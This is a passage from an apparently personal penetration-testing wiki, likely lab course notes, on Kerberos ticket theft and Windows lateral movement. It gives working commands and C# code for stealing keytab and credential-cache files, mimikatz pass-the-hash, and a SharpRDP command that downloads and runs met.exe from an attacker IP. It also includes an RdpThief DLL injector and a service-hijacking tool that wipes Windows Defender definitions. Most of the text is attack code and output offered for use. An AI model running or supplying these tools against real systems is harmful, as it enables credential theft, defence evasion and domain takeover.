10/05/2023 14:03:54  10/06/2023 00:02:39  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stealing Keytab files ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Automate authentication to Kerberos resources without using a password.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Keytab Files&#039;&#039;&#039;: Contain a Kerberos principal name and encrypted keys.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Creating a Sample Keytab&lt;br /&gt;
administrator@corp1.com@linuxvictim:~$ ktutil&lt;br /&gt;
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac&lt;br /&gt;
Password for administrator@CORP1.COM: [User Password Entered Here]&lt;br /&gt;
ktutil: wkt /tmp/administrator.keytab&lt;br /&gt;
ktutil: quit&lt;br /&gt;
# Keytab file created at /tmp/administrator.keytab.&lt;br /&gt;
# Potential Misuse of Keytab Files&lt;br /&gt;
# 	• With root access, keytab can be used maliciously.&lt;br /&gt;
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab&lt;br /&gt;
# Verifying the Loaded Tickets&lt;br /&gt;
root@linuxvictim:~# klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_1000&lt;br /&gt;
Default principal: administrator@CORP1.COM&lt;br /&gt;
Valid starting    Expires            Service principal&lt;br /&gt;
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
renew until 08/06/2020 15:18:34&lt;br /&gt;
# Renewing Expired Tickets&lt;br /&gt;
       • Renew tickets if expired but within renewal timeframe.&lt;br /&gt;
root@linuxvictim:~# kinit -R&lt;br /&gt;
# Exploiting Loaded Keytab Files&lt;br /&gt;
#       • Authenticate as the domain admin.&lt;br /&gt;
root@linuxvictim:~# smbclient -k -U &amp;quot;CORP1.COM\administrator&amp;quot; //DC01.CORP1.COM/C$&lt;br /&gt;
WARNING: The &amp;quot;syslog&amp;quot; option is deprecated&lt;br /&gt;
Try &amp;quot;help&amp;quot; to get a list of possible commands.&lt;br /&gt;
smb: \&amp;gt; ls&lt;br /&gt;
	$Recycle.Bin DHS 0 Sat Sep 15 03:19:00 2018&lt;br /&gt;
	Documents and Settings DHS 0 Tue Jun 9 13:50:42 2020&lt;br /&gt;
	pagefile.sys AHS 738197504 Fri Oct 2 11:25:15 2020&lt;br /&gt;
	PerfLogs D 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
	Program Files DR 0 Mon Jun 15 08:10:03 2020&lt;br /&gt;
	Program Files (x86) D 0 Tue Jun 9 08:43:21 2020&lt;br /&gt;
ProgramData DH 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Abusing Credential Cache files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Lets say you find a cached credential file in /tmp.&lt;br /&gt;
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*&lt;br /&gt;
Output:&lt;br /&gt;
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000&lt;br /&gt;
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5&lt;br /&gt;
# You can copy, and take ownership of the cache file&lt;br /&gt;
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow&lt;br /&gt;
&lt;br /&gt;
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow&lt;br /&gt;
# Now, to use the stole cache file. First destroy the current keys.&lt;br /&gt;
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache.&lt;br /&gt;
offsec@linuxvictim:~$ kdestroy&lt;br /&gt;
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
Output:&lt;br /&gt;
klist: No credentials cache found (filename: /tmp/krb5cc_1000)&lt;br /&gt;
...&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_minenow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
# Requesting Service Tickets with the Stolen Cache&lt;br /&gt;
offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
&lt;br /&gt;
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Using Kerberos ticket locally ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Copy the victim&#039;s stolen ccache file to the Kali machine.&lt;br /&gt;
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow&lt;br /&gt;
# Set the KRB5CCNAME environment variable to use the victim&#039;s Kerberos tickets.&lt;br /&gt;
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
# These utilities help in performing ticket manipulation tasks.&lt;br /&gt;
kali@kali:~$ sudo apt install krb5-user&lt;br /&gt;
# Determine the IP address of the domain controller and configure the hosts file to recognize it.&lt;br /&gt;
offsec@linuxvictim:~$ host corp1.com&lt;br /&gt;
# Update the /etc/hosts file with domain controller details.&lt;br /&gt;
# Set up Proxy for Kerberos Authentication:&lt;br /&gt;
# The idea is to make it seem like the authentication requests are coming from the domain-joined host.&lt;br /&gt;
#	• Adjust proxy settings: Comment out proxy_dns in /etc/proxychains.conf.&lt;br /&gt;
#	• Create a SOCKS server using SSH on the compromised server.&lt;br /&gt;
kali@kali:~$ ssh offsec@linuxvictim -D 9050&lt;br /&gt;
# Get Users SPN&lt;br /&gt;
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# List all AD users from domain&lt;br /&gt;
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# Use Impacket&#039;s psexec to get a shell.&lt;br /&gt;
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass&lt;br /&gt;
ProxyChains-3.1 ( http://proxychains.sf.net)&lt;br /&gt;
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation&lt;br /&gt;
...&lt;br /&gt;
[*] Requesting shares on DC01.CORP1.COM.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file tDwixbpM.exe&lt;br /&gt;
[*] Opening SVCManager on DC01.CORP1.COM.....&lt;br /&gt;
[*] Creating service cEiR on DC01.CORP1.COM.....&lt;br /&gt;
[*] Starting service cEiR.....&lt;br /&gt;
...&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.1282]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Windows ==&lt;br /&gt;
&lt;br /&gt;
=== RDP ===&lt;br /&gt;
&lt;br /&gt;
* Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop).&lt;br /&gt;
&lt;br /&gt;
* Require local administrator to dump the NTLM hashes&lt;br /&gt;
&lt;br /&gt;
* Restricted Admin Mode allows RDP connections without saving credentials on the remote machine.&lt;br /&gt;
It mitigates credential theft on the target system during the RDP session.&lt;br /&gt;
&lt;br /&gt;
* The mode is disabled by default but can be enabled via a registry entry.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
# If LSA protection is enabled, scroll a bit up to know how to disable it.&lt;br /&gt;
# Once the hash is captured, pass it using the command. mstsc.exe window will popup.&lt;br /&gt;
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:&amp;quot;mstsc.exe /restrictedadmin&amp;quot;&lt;br /&gt;
# If restricted admin is disabled, enable it by using powershell on target machine&lt;br /&gt;
 mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell&lt;br /&gt;
# A Powershell window wil popup.&lt;br /&gt;
Enter-PSSession -Computer appsrv01&lt;br /&gt;
# Enabled Restricted Admin mode&lt;br /&gt;
 New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Disable RAM&lt;br /&gt;
Remove-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse RDP Proxying with Metasploit ====&lt;br /&gt;
&lt;br /&gt;
* Access machines protected by firewalls and NAT configurations via reverse proxying.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisite:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Already have an established meterpreter session&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Background current meterpreter shell&lt;br /&gt;
background&lt;br /&gt;
# Set Up Autoroute in Metasploit:&lt;br /&gt;
msf5 exploit(multi/handler) &amp;gt; use multi/manage/autoroute&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; set session 1&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; exploit&lt;br /&gt;
# Configure SOCKS Proxy:&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; use auxiliary/server/socks5&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; set srvhost 127.0.0.1&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; exploit -j&lt;br /&gt;
# Set Up Proxychains for Reverse Tunnel:&lt;br /&gt;
#     Add the SOCKS5 proxy IP and port to Proxychains config:&lt;br /&gt;
kali@kali:~$ sudo bash -c &#039;echo &amp;quot;socks5 127.0.0.1 1080&amp;quot; &amp;gt;&amp;gt; /etc/proxychains.conf&#039;&lt;br /&gt;
# Now you can RDP to target that is protected by edge firewall&lt;br /&gt;
kali@kali:~$ proxychains rdesktop 192.168.120.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SharpRDP.exe - Console rdp ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/SharpRDP]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sharprdp.exe computername=appsrv01 command=&amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/met.exe&#039;,&lt;br /&gt;
&#039;C:\Windows\Tasks\met.exe&#039;); C:\Windows\Tasks\met.exe&amp;quot; username=corp1\dave&lt;br /&gt;
password=lab&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Steal RDP creds using RDPThief.dll ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0x09AL/RdpThief GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.]&lt;br /&gt;
&lt;br /&gt;
* Build the rdpthief dll from above link.&lt;br /&gt;
If detours is missing, use Nuget to uninstall and install it again.&lt;br /&gt;
&lt;br /&gt;
* The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine.&lt;br /&gt;
&lt;br /&gt;
* To see the captured credentials, check the output file: &amp;lt;code&amp;gt;​C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Temp\&amp;lt;session_ID&amp;gt;\data.bin​&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;  // Added this line for Thread.Sleep()&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String dllName = &amp;quot;C:\\Tools\\RdpThief.dll&amp;quot;;&lt;br /&gt;
            while (true)&lt;br /&gt;
            {&lt;br /&gt;
                Process[] mstscProc = Process.GetProcessesByName(&amp;quot;mstsc&amp;quot;);&lt;br /&gt;
                if (mstscProc.Length &amp;gt; 0)&lt;br /&gt;
	                {&lt;br /&gt;
                    for (int i = 0; i &amp;lt; mstscProc.Length; i++)&lt;br /&gt;
                    {&lt;br /&gt;
                        int pid = mstscProc[i].Id;&lt;br /&gt;
                        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
                        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
                        IntPtr outSize;&lt;br /&gt;
                        Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
                        IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
                        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                Thread.Sleep(1000);  // Sleep for 1 second before checking again&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fileless Lateral Movement ===&lt;br /&gt;
&lt;br /&gt;
Using fileless lateral movement will&lt;br /&gt;
&lt;br /&gt;
* Execute code without registering new service.&lt;br /&gt;
&lt;br /&gt;
* Avoid writing file to disk.&lt;br /&gt;
&lt;br /&gt;
PSExec however will write to disk. At a highlevel:&lt;br /&gt;
&lt;br /&gt;
* PsExec authenticates to SMB on the target host and accesses the DCE/RPC&lt;br /&gt;
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network.&lt;br /&gt;
&lt;br /&gt;
* PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.&lt;br /&gt;
&lt;br /&gt;
Choose a service thats is not vital to the OS and is not used by default. Check service.msc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The user running the code below have the TGT for &amp;lt;code&amp;gt;cifs/appsrv01&amp;lt;/code&amp;gt; in the memory.&lt;br /&gt;
&lt;br /&gt;
* The code will connect to target &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt;, open the service &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; and change it to open &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* When &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; is executed, &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt; will run as SYSTEM user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace PSLessExec&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint SC_MANAGER_ALL_ACCESS = 0xF003F;&lt;br /&gt;
        public static uint SERVICE_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint SERVICE_DEMAND_START = 0x3;&lt;br /&gt;
        public static uint SERVICE_NO_CHANGE = 0xffffffff;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public class QUERY_SERVICE_CONFIG&lt;br /&gt;
        {&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwServiceType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwStartType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwErrorControl;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpBinaryPathName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpLoadOrderGroup;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwTagID;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDependencies;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpServiceStartName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDisplayName;&lt;br /&gt;
        };&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            if (args.Length != 3)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]&amp;quot;);&lt;br /&gt;
                Console.WriteLine(&amp;quot;Example: PSLessExec.exe appsrv01 SensorService notepad.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Open remote SCManager&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on SCManager on {args[0]}: {SCMHandle}.&amp;quot;);&lt;br /&gt;
            // Access target service&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on target service {args[1]}: {schService}.&amp;quot;);&lt;br /&gt;
            // Get current binPath (two passes, first is to determine the buffer size needed)&lt;br /&gt;
            UInt32 dwBytesNeeded;&lt;br /&gt;
            QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();&lt;br /&gt;
            bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);&lt;br /&gt;
            IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);&lt;br /&gt;
            bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);&lt;br /&gt;
            Marshal.PtrToStructure(ptr, qsc);&lt;br /&gt;
            String binPathOrig = qsc.lpBinaryPathName;&lt;br /&gt;
            // Pass 1: Disable Defender signatures&lt;br /&gt;
            String defBypass = &amp;quot;\&amp;quot;C:\\Program Files\\Windows Defender\\MpCmdRun.exe\&amp;quot; -RemoveDefinitions -All&amp;quot;;&lt;br /&gt;
             bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{defBypass}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 1&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service, defender signatures should be wiped.&amp;quot;);&lt;br /&gt;
            // Pass 2: Run the chosen binary&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote service executable to become &#039;{args[2]}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
            // Run the service for Pass 2&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Launched service. Check for execution!&amp;quot;);&lt;br /&gt;
            // Pass 3: Restore original binPath&lt;br /&gt;
            bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Restored service binary to &#039;{binPathOrig}&#039;, result: {bResult}.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace lat&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // P/invoke for OpenSCManagerW&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        // P/invoke for OpenService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        // P/invoke for ChangeServiceConfig&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        // P/invoke for StartService&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Initial proof of concept to authenticate&lt;br /&gt;
            String target = &amp;quot;appsrv01&amp;quot;;&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);&lt;br /&gt;
            // Code to call OpenService&lt;br /&gt;
            string ServiceName = &amp;quot;SensorService&amp;quot;;&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);&lt;br /&gt;
            // Code to call ChangeServiceConfig&lt;br /&gt;
            string payload = &amp;quot;notepad.exe&amp;quot;;&lt;br /&gt;
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);&lt;br /&gt;
            // Code to call StartService&lt;br /&gt;
            bResult = StartService(schService, 0, null);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Trigger payload using fileless lateral movement ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have write permission on a target, you can copy payload to target and trigger it with fileless lateral movement.&lt;br /&gt;
# Copy payload to target&lt;br /&gt;
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe&lt;br /&gt;
# Now trigger it with fileless lateral movement&lt;br /&gt;
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe”&lt;br /&gt;
# You can also try to trigger the payload with psexec&lt;br /&gt;
.\psexec \\dc02 -d &amp;quot;C:\windows\tasks\proc_hol.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ScShell ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mr-Un1k0d3r/SCShell https://github.com/Mr-Un1k0d3r/SCShell]&lt;br /&gt;
&lt;br /&gt;
&amp;quot;SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
